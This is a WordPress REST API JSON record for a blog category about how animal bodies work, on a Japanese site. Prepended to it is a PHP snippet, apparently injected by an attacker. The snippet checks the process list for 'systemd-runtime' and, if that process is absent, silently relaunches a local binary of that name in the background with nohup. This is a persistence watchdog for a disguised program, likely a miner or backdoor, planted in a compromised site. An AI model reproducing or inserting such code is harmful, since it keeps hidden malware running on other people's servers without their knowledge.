$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); }{"id":2,"count":5,"description":"","link":"https:\/\/honmokudori.com\/blog\/category\/shikumi","name":"\u52d5\u7269\u306e\u4f53\u306e\u4ed5\u7d44\u307f","slug":"shikumi","taxonomy":"category","parent":0,"meta":[],"_links":{"self":[{"href":"https:\/\/honmokudori.com\/blog\/wp-json\/wp\/v2\/categories\/2"}],"collection":[{"href":"https:\/\/honmokudori.com\/blog\/wp-json\/wp\/v2\/categories"}],"about":[{"href":"https:\/\/honmokudori.com\/blog\/wp-json\/wp\/v2\/taxonomies\/category"}],"wp:post_type":[{"href":"https:\/\/honmokudori.com\/blog\/wp-json\/wp\/v2\/posts?categories=2"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}